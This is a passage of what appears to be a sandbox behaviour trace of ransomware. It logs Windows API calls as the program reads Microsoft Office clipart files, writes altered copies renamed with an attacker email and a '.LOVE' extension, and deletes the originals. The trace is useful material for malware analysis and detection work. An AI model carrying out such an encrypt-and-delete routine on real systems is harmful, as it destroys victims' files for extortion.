Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0207.763] lstrlenW (lpString=".dbf") returned 4 [0207.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0207.763] lstrlenW (lpString=".1cd") returned 4 [0207.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0207.763] lstrlenW (lpString=".jpg") returned 4 [0207.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.767] GetLastError () returned 0x0 [0207.767] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x2d74, lpOverlapped=0x0) returned 1 [0207.781] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0207.782] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.782] WriteFile (in: hFile=0x364, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.782] SetEndOfFile (hFile=0x364) returned 1 [0207.782] CloseHandle (hObject=0x364) returned 1 [0207.782] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.782] SetEndOfFile (hFile=0x33c) returned 1 [0207.783] CloseHandle (hObject=0x33c) returned 1 [0207.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0207.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0207.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0207.785] lstrlenW (lpString=".doc") returned 4 [0207.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.786] lstrlenW (lpString=".docx") returned 5 [0207.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.786] lstrlenW (lpString=".pdf") returned 4 [0207.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.786] lstrlenW (lpString=".xls") returned 4 [0207.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.786] lstrlenW (lpString=".xlsx") returned 5 [0207.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.786] lstrlenW (lpString=".ppt") returned 4 [0207.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0207.786] lstrlenW (lpString=".zip") returned 4 [0207.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.786] lstrlenW (lpString=".rar") returned 4 [0207.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.786] lstrlenW (lpString=".bz2") returned 4 [0207.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.786] lstrlenW (lpString=".7z") returned 3 [0207.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0207.786] lstrlenW (lpString=".dbf") returned 4 [0207.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0207.786] lstrlenW (lpString=".1cd") returned 4 [0207.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0207.786] lstrlenW (lpString=".jpg") returned 4 [0207.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.802] GetLastError () returned 0x0 [0207.802] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0207.814] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x3f00, lpOverlapped=0x0) returned 1 [0207.815] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.815] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.815] SetEndOfFile (hFile=0x354) returned 1 [0207.816] CloseHandle (hObject=0x354) returned 1 [0207.816] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.816] SetEndOfFile (hFile=0x364) returned 1 [0207.817] CloseHandle (hObject=0x364) returned 1 [0207.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0207.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0207.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0207.817] lstrlenW (lpString=".doc") returned 4 [0207.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.818] lstrlenW (lpString=".docx") returned 5 [0207.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.818] lstrlenW (lpString=".pdf") returned 4 [0207.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.818] lstrlenW (lpString=".xls") returned 4 [0207.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.818] lstrlenW (lpString=".xlsx") returned 5 [0207.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.818] lstrlenW (lpString=".ppt") returned 4 [0207.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0207.818] lstrlenW (lpString=".zip") returned 4 [0207.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.818] lstrlenW (lpString=".rar") returned 4 [0207.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.818] lstrlenW (lpString=".bz2") returned 4 [0207.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.818] lstrlenW (lpString=".7z") returned 3 [0207.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0207.818] lstrlenW (lpString=".dbf") returned 4 [0207.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0207.818] lstrlenW (lpString=".1cd") returned 4 [0207.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0207.818] lstrlenW (lpString=".jpg") returned 4 [0207.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.819] GetLastError () returned 0x0 [0207.819] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x687c, lpOverlapped=0x0) returned 1 [0207.826] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x6880, lpOverlapped=0x0) returned 1 [0207.827] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.827] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.827] SetEndOfFile (hFile=0x354) returned 1 [0207.827] CloseHandle (hObject=0x354) returned 1 [0207.827] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.827] SetEndOfFile (hFile=0x364) returned 1 [0207.828] CloseHandle (hObject=0x364) returned 1 [0207.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0207.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0207.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0207.829] lstrlenW (lpString=".doc") returned 4 [0207.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.829] lstrlenW (lpString=".docx") returned 5 [0207.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.829] lstrlenW (lpString=".pdf") returned 4 [0207.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.829] lstrlenW (lpString=".xls") returned 4 [0207.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.829] lstrlenW (lpString=".xlsx") returned 5 [0207.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.829] lstrlenW (lpString=".ppt") returned 4 [0207.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0207.829] lstrlenW (lpString=".zip") returned 4 [0207.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.829] lstrlenW (lpString=".rar") returned 4 [0207.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.829] lstrlenW (lpString=".bz2") returned 4 [0207.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.829] lstrlenW (lpString=".7z") returned 3 [0207.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0207.830] lstrlenW (lpString=".dbf") returned 4 [0207.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0207.830] lstrlenW (lpString=".1cd") returned 4 [0207.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0207.830] lstrlenW (lpString=".jpg") returned 4 [0207.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.830] GetLastError () returned 0x0 [0207.830] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xfe2, lpOverlapped=0x0) returned 1 [0207.841] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xff0, lpOverlapped=0x0) returned 1 [0207.842] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.842] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.842] SetEndOfFile (hFile=0x354) returned 1 [0207.842] CloseHandle (hObject=0x354) returned 1 [0207.843] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.843] SetEndOfFile (hFile=0x364) returned 1 [0207.843] CloseHandle (hObject=0x364) returned 1 [0207.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0207.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0207.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0207.844] lstrlenW (lpString=".doc") returned 4 [0207.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.844] lstrlenW (lpString=".docx") returned 5 [0207.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.844] lstrlenW (lpString=".pdf") returned 4 [0207.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.844] lstrlenW (lpString=".xls") returned 4 [0207.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.844] lstrlenW (lpString=".xlsx") returned 5 [0207.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.844] lstrlenW (lpString=".ppt") returned 4 [0207.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0207.844] lstrlenW (lpString=".zip") returned 4 [0207.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.844] lstrlenW (lpString=".rar") returned 4 [0207.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.844] lstrlenW (lpString=".bz2") returned 4 [0207.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.844] lstrlenW (lpString=".7z") returned 3 [0207.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0207.845] lstrlenW (lpString=".dbf") returned 4 [0207.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0207.845] lstrlenW (lpString=".1cd") returned 4 [0207.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0207.845] lstrlenW (lpString=".jpg") returned 4 [0207.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.845] GetLastError () returned 0x0 [0207.845] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x5f00, lpOverlapped=0x0) returned 1 [0207.961] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x5f10, lpOverlapped=0x0) returned 1 [0207.962] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.962] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.962] SetEndOfFile (hFile=0x354) returned 1 [0207.963] CloseHandle (hObject=0x354) returned 1 [0207.963] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.963] SetEndOfFile (hFile=0x364) returned 1 [0207.964] CloseHandle (hObject=0x364) returned 1 [0207.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0207.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0207.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0207.965] lstrlenW (lpString=".doc") returned 4 [0207.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.965] lstrlenW (lpString=".docx") returned 5 [0207.965] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.965] lstrlenW (lpString=".pdf") returned 4 [0207.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.965] lstrlenW (lpString=".xls") returned 4 [0207.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.965] lstrlenW (lpString=".xlsx") returned 5 [0207.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.965] lstrlenW (lpString=".ppt") returned 4 [0207.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0207.965] lstrlenW (lpString=".zip") returned 4 [0207.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.965] lstrlenW (lpString=".rar") returned 4 [0207.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.965] lstrlenW (lpString=".bz2") returned 4 [0207.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.965] lstrlenW (lpString=".7z") returned 3 [0207.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0207.965] lstrlenW (lpString=".dbf") returned 4 [0207.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0207.965] lstrlenW (lpString=".1cd") returned 4 [0207.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0207.966] lstrlenW (lpString=".jpg") returned 4 [0207.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.966] GetLastError () returned 0x0 [0207.966] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0207.976] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x9d10, lpOverlapped=0x0) returned 1 [0207.978] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.978] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.978] SetEndOfFile (hFile=0x354) returned 1 [0207.978] CloseHandle (hObject=0x354) returned 1 [0207.978] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.978] SetEndOfFile (hFile=0x364) returned 1 [0207.979] CloseHandle (hObject=0x364) returned 1 [0207.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0207.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0207.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0207.980] lstrlenW (lpString=".doc") returned 4 [0207.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.980] lstrlenW (lpString=".docx") returned 5 [0207.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.980] lstrlenW (lpString=".pdf") returned 4 [0207.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.980] lstrlenW (lpString=".xls") returned 4 [0207.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.981] lstrlenW (lpString=".xlsx") returned 5 [0207.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.981] lstrlenW (lpString=".ppt") returned 4 [0207.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0207.981] lstrlenW (lpString=".zip") returned 4 [0207.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.981] lstrlenW (lpString=".rar") returned 4 [0207.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.981] lstrlenW (lpString=".bz2") returned 4 [0207.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.981] lstrlenW (lpString=".7z") returned 3 [0207.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0207.981] lstrlenW (lpString=".dbf") returned 4 [0207.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0207.981] lstrlenW (lpString=".1cd") returned 4 [0207.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0207.981] lstrlenW (lpString=".jpg") returned 4 [0207.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.023] GetLastError () returned 0x0 [0208.023] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x38cc, lpOverlapped=0x0) returned 1 [0208.074] WriteFile (in: hFile=0x2f0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x38d0, lpOverlapped=0x0) returned 1 [0208.241] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.241] WriteFile (in: hFile=0x2f0, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.241] SetEndOfFile (hFile=0x2f0) returned 1 [0208.241] CloseHandle 